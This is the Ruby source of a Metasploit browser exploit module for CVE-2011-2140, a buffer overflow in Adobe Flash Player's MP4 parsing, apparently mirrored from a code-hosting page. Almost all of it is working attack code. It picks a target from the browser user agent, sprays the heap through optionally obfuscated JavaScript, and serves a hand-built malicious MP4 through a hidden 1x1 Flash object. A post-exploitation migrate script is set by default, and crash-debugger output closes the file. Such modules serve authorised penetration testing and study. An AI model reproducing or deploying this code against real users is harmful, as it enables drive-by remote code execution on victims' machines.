Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/browser/adobe_flash_sps.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpServer::HTML910def initialize(info={})11super(update_info(info,12'Name' => "Adobe Flash Player MP4 SequenceParameterSetNALUnit Buffer Overflow",13'Description' => %q{14This module exploits a vulnerability found in Adobe Flash Player's Flash10u.ocx15component. When processing a MP4 file (specifically the Sequence Parameter Set),16Flash will see if pic_order_cnt_type is equal to 1, which sets the17num_ref_frames_in_pic_order_cnt_cycle field, and then blindly copies data in18offset_for_ref_frame on the stack, which allows arbitrary remote code execution19under the context of the user. Numerous reports also indicate that this20vulnerability has been exploited in the wild.21},22'License' => MSF_LICENSE,23'Author' =>24[25'Alexander Gavrun', # RCA26'Unknown', # Abysssec, proof of concept27'sinn3r' # Metasploit28],29'References' =>30[31[ 'CVE', '2011-2140' ],32[ 'OSVDB', '74439'],33[ 'BID', '49083' ],34[ 'ZDI', '11-276' ],35[ 'URL', 'http://www.kahusecurity.com/2011/cve-2011-2140-caught-in-the-wild/' ],36[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb11-21.html' ],37[ 'URL', 'http://0x1byte.blogspot.com/2011/11/analysis-of-cve-2011-2140-adobe-flash.html' ]38],39'Payload' =>40{41'BadChars' => "\x00",42'StackAdjustment' => -350043},44'DefaultOptions' =>45{46'EXITFUNC' => "seh",47'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'48},49'Platform' => 'win',50'Targets' =>51[52[ 'Automatic', {} ],53[ 'IE 6 on Windows XP SP3', { 'Offset' => '0x600' } ], #0x5f4 = spot on54[ 'IE 7 on Windows XP SP3 / Vista', { 'Offset' => '0x600' } ]55],56'Privileged' => false,57'DisclosureDate' => '2011-08-09',58'DefaultTarget' => 0))5960register_options(61[62OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])63])64end6566def get_target(agent)67#If the user is already specified by the user, we'll just use that68return target if target.name != 'Automatic'6970if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/71return targets[1]72elsif agent =~ /MSIE 7/73return targets[2]74else75return nil76end77end7879def on_request_uri(cli, request)80agent = request.headers['User-Agent']81my_target = get_target(agent)8283# Avoid the attack if the victim doesn't have the same setup we're targeting84if my_target.nil?85print_error("Browser not supported: #{agent.to_s}")86send_not_found(cli)87return88end8990# The SWF requests our MP4 trigger91if request.uri =~ /\.mp4$/92print_status("Sending MP4")93send_response(cli, @mp4, {'Content-Type'=>'video/mp4'})94return95end9697# The SWF request itself98if request.uri =~ /\.swf$/99print_status("Sending SWF")100send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash'})101return102end103104# Redirect to a trailing slash so relative paths work properly105if get_resource != "/" and not request.uri.index("#{get_resource}/")106uri = get_resource + "/"107send_redirect(cli, uri)108return109end110111# Set payload depending on target112p = payload.encoded113114js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))115js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))116randnop = rand_text_alpha(rand(100) + 1)117118js = <<-JS119var heap_obj = new heapLib.ie(0x20000);120var code = unescape("#{js_code}");121var #{randnop} = "#{js_nops}";122var nops = unescape(#{randnop});123124while (nops.length < 0x80000) nops += nops;125var offset = nops.substring(0, #{my_target['Offset']});126var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);127128while (shellcode.length < 0x40000) shellcode += shellcode;129var block = shellcode.substring(0, (0x7ffc0-6)/2);130131heap_obj.gc();132133for (var i=1; i < 0x300; i++) {134heap_obj.alloc(block);135}136JS137138js = heaplib(js, {:noobfu => true})139140if datastore['OBFUSCATE']141js = ::Rex::Exploitation::JSObfu.new(js)142js.obfuscate(memory_sensitive: true)143end144145myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']146mp4_uri = "http://#{myhost}:#{datastore['SRVPORT']}#{get_resource()}/#{rand_text_alpha(rand(6)+3)}.mp4"147swf_uri = Rex::Text.rand_text_alphanumeric(rand(8)+4) + ".swf" + "?autostart=true&image=video.jpg&file=#{mp4_uri}"148149html = %Q|150<html>151<head>152<script>153#{js}154</script>155</head>156<body>157<object width="1" height="1" type="application/x-shockwave-flash" data="#{swf_uri}">158<param name="movie" value="#{swf_uri}">159</object>160</body>161</html>162|163164html = html.gsub(/^ {4}/, '')165166print_status("Sending HTML")167send_response(cli, html, {'Content-Type'=>'text/html'})168end169170def exploit171@mp4 = create_mp4172@swf = create_swf173super174end175176def create_swf177path = ::File.join( Msf::Config.data_directory, "exploits", "mp4player.swf" )178fd = ::File.open( path, "rb" )179swf = fd.read(fd.stat.size)180fd.close181return swf182end183184def create_mp4185ftypAtom = "\x00\x00\x00\x20" #Size186ftypAtom << "ftypisom"187ftypAtom << "\x00\x00\x02\x00"188ftypAtom << "isomiso2avc1mp41"189190mdatAtom = "\x00\x00\x00\x10" #Size191mdatAtom << "mdat"192mdatAtom << "\x00\x00\x02\x8B\x06\x05\xFF\xFF"193194moovAtom1 = "\x00\x00\x08\x83" #Size195moovAtom1 << "moov" #Move header box header196moovAtom1 << "\x00\x00\x00"197moovAtom1 << "lmvhd" # Type198moovAtom1 << "\x00\x00\x00\x00" # Version/Flags199moovAtom1 << "\x7C\x25\xB0\x80\x7C\x25\xB0\x80" # Creation time200moovAtom1 << "\x00\x00\x03\xE8" # Time scale201moovAtom1 << "\x00\x00\x2F\x80" # Duration202moovAtom1 << "\x00\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"203moovAtom1 << "\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00"204moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x02\xFA"205moovAtom1 << "trak" # Track box header206moovAtom1 << "\x00\x00\x00\x5C"207moovAtom1 << "tkhd"208moovAtom1 << "\x00\x00\x00\x0F"209moovAtom1 << "\x7C\x25\xB0\x80\x7C\x25\xB0\x80" # Creation time210moovAtom1 << "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x2E\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"211moovAtom1 << "\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"212moovAtom1 << "\x00\x00\x00\x00\x40\x00\x00\x00\x01\x42\x00\x00\x01\x42\x00\x00\x00\x00\x02"213moovAtom1 << "rmdia"214moovAtom1 << "\x00\x00\x00\x20" # Size215moovAtom1 << "mdhd" # Media header box216moovAtom1 << "\x00\x00\x00\x00" # Version/Flags217moovAtom1 << "\x7C\x25\xB0\x80\x7C\x25\xB0\x80" # Creation time218moovAtom1 << "\x00\x00\x00\x01" # Time scale219moovAtom1 << "\x00\x00\x00\x0C" # Duration220moovAtom1 << "\x55\xC4\x00\x00"221moovAtom1 << "\x00\x00\x00\x2D" # Size222moovAtom1 << "hdlr" # Handler Reference header223moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x00"224moovAtom1 << "vide" # Handler type225moovAtom1 << "\x00\x00\x00\x00\x00"226moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00"227moovAtom1 << "VideoHandler" # Handler name228moovAtom1 << "\x00\x00\x00\x02\x1D"229moovAtom1 << "minf"230moovAtom1 << "\x00\x00\x00\x14"231moovAtom1 << "vmhd"232moovAtom1 << "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x24"233moovAtom1 << "dinf" # Data information box header234moovAtom1 << "\x00\x00\x00\x1c"235moovAtom1 << "dref" # Data reference box236moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x01"237moovAtom1 << "\x00\x00\x00\x0C" # Size238moovAtom1 << "url " # Data entry URL box239moovAtom1 << "\x00\x00\x00\x01" # Location / version / flags240moovAtom1 << "\x00\x00\x09\xDD" # Size241moovAtom1 << "stbl"242moovAtom1 << "\x00\x00\x08\x99"243moovAtom1 << "stsd"244moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x01"245moovAtom1 << "\x00\x00\x08\x89" # Size246moovAtom1 << "avc1"247moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"248moovAtom1 << "\x01\x42" # Width249moovAtom1 << "\x01\x42" # Height250moovAtom1 << "\x00\x48\x00\x00\x00\x48\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"251moovAtom1 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"252moovAtom1 << "\x18" # Depth253moovAtom1 << "\xFF\xFF"254moovAtom1 << "\x00\x00\x08\x33" # Size255moovAtom1 << "avcC"256moovAtom1 << "\x01" # Config version257moovAtom1 << "\x64" # Avc profile indication258moovAtom1 << "\x00" # Compatibility259moovAtom1 << "\x15" # Avc level indication260moovAtom1 << "\xFF\xE1"261262# Although the fields have different values, they all become 0x0c0c0c0c263# in memory.264cycle = "\x00\x00\x00"265cycle << "\x30\x30\x30\x30" #6th266cycle << "\x00\x00\x00"267cycle << "\x18\x18\x18\x18" #7th268cycle << "\x00\x00\x00"269cycle << "\x0c\x0c\x0c\x0c" #8th270cycle << "\x00\x00\x00"271cycle << "\x06\x06\x06\x06" #1st272cycle << "\x00\x00\x00"273cycle << "\x03\x03\x03\x03"274cycle << "\x00\x00\x00\x01\x81\x81\x81\x80\x00\x00\x00"275cycle << "\xc0\xc0\xc0\xc0" # 4th276cycle << "\x00\x00\x00"277cycle << "\x60\x60\x60\x60"278279spsunit = "\x08\x1A\x67\x70\x34\x32\x74\x70\x00\x00\xAF\x88\x88\x84\x00\x00\x03\x00\x04\x00\x00\x03\x00\x3F\xFF\xFF\xFF\xFF\xFF"280spsunit << "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF"281spsunit << "\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFC"282spsunit << cycle * 35283spsunit << "\x00\x00\x00\x30\x30\x03\x03\x03\x03\x00\x00\x00\xB2\x2C"284285moovAtom2 = "\x00\x00\x00\x18"286moovAtom2 << "stts"287moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0C\x00\x00\x00\x01"288moovAtom2 << "\x00\x00\x00\x14"289moovAtom2 << "stss"290moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00"291moovAtom2 << "pctts"292moovAtom2 << "\x00\x00\x00\x00\x00\x00"293moovAtom2 << "\x00\x0C\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00"294moovAtom2 << "\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x02"295moovAtom2 << "\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x00"296moovAtom2 << "\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x02"297moovAtom2 << "\x00\x00\x00\x1C"298moovAtom2 << "stsc"299moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01"300moovAtom2 << "\x00\x00\x00\x44"301moovAtom2 << "stsz"302moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"303moovAtom2 << "\x0C\x00\x00\x2F\x8D\x00\x00\x0C\xFE\x00\x00\x04\x42\x00\x00\x0B\x20\x00\x00\x04\x58\x00\x00\x07\x19\x00\x00\x07"304moovAtom2 << "\x63\x00\x00\x02\xD6\x00\x00\x03\xC1\x00\x00\x0A\xDF\x00\x00\x04\x9B\x00\x00\x09\x39"305moovAtom2 << "\x00\x00\x00\x40"306moovAtom2 << "stco"307moovAtom2 << "\x00\x00\x00\x00\x00\x00\x00\x0C\x00\x00\x00\x30\x00\x00\x2F\xBD\x00\x00\x3D\x8A\x00\x00\x48\x19\x00\x00\x5A\xF4"308moovAtom2 << "\x00\x00\x66\x1F\x00\x00\x73\xEA\x00\x00\x82\x32\x00\x00\x8A\xFA\x00\x00\x95\x51\x00\x00\xA7\x16\x00\x00\xB1\xE5"309310moovAtom = moovAtom1 + spsunit + moovAtom2311m = ftypAtom + mdatAtom + moovAtom312return m313end314end315316=begin317C:\WINDOWS\system32\Macromed\Flash\Flash10u.ocx318319Flash10u+0x5b4e8:320Missing image name, possible paged-out or corrupt data.3211f06b4e8 8901 mov dword ptr [ecx],eax ds:0023:020c0000=00905a4d3220:008> !exchain323020bfdfc: <Unloaded_ud.drv>+c0c0c0b (0c0c0c0c)324325ECX points to 0x0c0c0c0c at the time of the crash:3260:008> r327eax=00000000 ebx=00000000 ecx=0c0c0c0c edx=7c9032bc esi=00000000 edi=00000000328eip=0c0c0c0c esp=020befa8 ebp=020befc8 iopl=0 nv up ei pl zr na pe nc329cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050246330<Unloaded_ud.drv>+0xc0c0c0b:3310c0c0c0c ?? ???332333Example of SWF player URI:334http://www.jeroenwijering.com/embed/mediaplayer.swf335336To-do:337IE 8 target338=end339340341